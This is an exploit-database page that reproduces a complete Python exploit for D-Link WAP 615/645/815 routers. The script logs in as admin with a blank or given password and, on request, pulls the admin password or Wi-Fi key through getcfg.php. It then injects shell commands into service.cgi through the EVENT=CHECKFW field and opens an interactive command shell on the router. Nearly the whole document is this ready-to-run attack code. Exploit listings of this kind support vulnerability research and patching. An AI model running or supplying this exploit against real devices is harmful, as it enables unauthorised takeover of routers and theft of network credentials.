Lucene search
K

D-Link Routers 110/412/615/815 Arbitrary Code Execution

🗓️ 15 Jan 2018 00:00:00Reported by KnownsecType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

D-Link WAP 615/645/815 < 1.03 service.cgi RCE, Exploit by Cr0n1

Code

                                                #!/usr/bin/python
 
# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03
 
import argparse
import httplib
import random
import re
import requests
import string
import urllib2
 
DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
               '<div class="modelname">(.*?)</div>',
               '<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
             ]
 
 
def dlink_detection():
    try:
        r = requests.get(URL, timeout=10.00)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to connect to " + URL
        return False
 
    if r.status_code != 200:
        print "Error: " + URL + " returned status code " + str(r.status_code)
        return False
 
    for rex in DLINK_REGEX:
        if re.search(rex, r.text):
            res = re.findall(rex, r.text)[0]
            return res
 
    print "Warning: Unable to detect device for " + URL
    return "Unknown Device"
 
 
def create_session():
    post_content = {"REPORT_METHOD": "xml",
                    "ACTION": "login_plaintext",
                    "USER": "admin",
                    "PASSWD": PASSWORD,
                    "CAPTCHA": ""
                    }
 
    try:
        r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/session.cgi"
        return False
 
    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False
 
    if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
        print "Error: Did not get a success code"
        return False
 
    return True
 
 
def parse_results(result):
    print result[100:]
    return result
 
 
def send_post(command, print_res=True):
    post_content = "EVENT=CHECKFW%26" + command + "%26"
 
    method = "POST"
 
    if URL.lower().startswith("https"):
        handler = urllib2.HTTPSHandler()
    else:
        handler = urllib2.HTTPHandler()
 
    opener = urllib2.build_opener(handler)
    request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
    request.get_method = lambda: method
 
    try:
        connection = opener.open(request)
    except urllib2.HTTPError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False
    except urllib2.HTTPSError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False
 
    if not connection.code == 200:
        print "Error: Recieved status code " + str(connection.code)
        return False
 
    attempts = 0
 
    while attempts < 5:
        try:
            data = connection.read()
        except httplib.IncompleteRead:
            attempts += 1
        else:
            break
 
        if attempts == 5:
            print "Error: Chunking failed %d times, bailing." %attempts
            return False
 
    if print_res:
        return parse_results(data)
    else:
        return data
 
 
def start_shell():
    print "+" + "-" * 80 + "+"
    print "| Welcome to D-Link Shell" + (" " * 56) + "|"
    print "+" + "-" * 80 + "+"
    print "| This is a limited shell that exploits piss poor programming.  I created this   |"
    print "| to give you a comfort zone and to emulate a real shell environment.  You will  |"
    print "| be limited to basic busybox commands.  Good luck and happy hunting.            |"
    print "|" + (" " * 80) + "|"
    print "| To quit type 'gtfo'" + (" " * 60) + "|"
    print "+" + "-" * 80 + "+\n\n"
 
    cmd = ""
 
    while True:
        cmd = raw_input(ROUTER_TYPE + "# ").strip()
        if cmd.lower() == "gtfo":
            break
 
        send_post(cmd)
 
 
def query_getcfg(param):
    post_data = {"SERVICES": param}
    try:
        r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/getcfg.php"
        return False
 
    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False
 
    if re.search("<message>Not authorized</message>", r.text):
        print "Error: Not vulnerable"
        return False
 
    return r.text
 
 
def attempt_password_find():
    # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
    data = query_getcfg("DEVICE.ACCOUNT")
    if not data:
        return False
 
    res = re.findall("<password>(.*?)</password>", data)
    if len(res) > 0 and res != "=OoXxGgYy=":
        return res[0]
 
    # Did not find it in first attempt
    data = query_getcfg("WIFI")
    if not data:
        return False
 
    res = re.findall("<key>(.*?)</key>", data)
    if len(res) > 0:
        return res[0]
 
    # All attempts failed, just going to return and wish best of luck!
    return False
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
 
    parser.add_argument("-p", "--password", dest="password", action="store", default=None,
                        help="Password for the router.  If not supplied then will use blank password.")
    parser.add_argument("-u", "--url", dest="url", action="store", required=True,
                        help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
    parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
                        help="If flag is set, will attempt CWE-200.  If that fails, then will attempt to discover "
                             "wifi password and use it.")
 
    args = parser.parse_args()
 
    HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
              "Host": "localhost",
              "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
              }
 
    URL = args.url.lower().strip()
 
    if not URL.startswith("http"):
        URL = "http://" + URL
 
    ROUTER_TYPE = dlink_detection()
 
    if not ROUTER_TYPE:
        print "EXITING . . ."
        exit()
 
    if args.attempt_exploit and args.password is None:
        res = attempt_password_find()
        if res:
            PASSWORD = res
        else:
            PASSWORD = ""
        print "[+] Switching password to: " + PASSWORD
    elif args.password:
        PASSWORD = args.password
    else:
        PASSWORD = ""
 
    if not create_session():
        print "EXITING . . ."
        exit()
 
    if len(send_post("ls", False)) == 0:
        print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
        exit()
 
    start_shell()


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jan 2018 00:00Current
0.7Low risk
Vulners AI Score0.7
20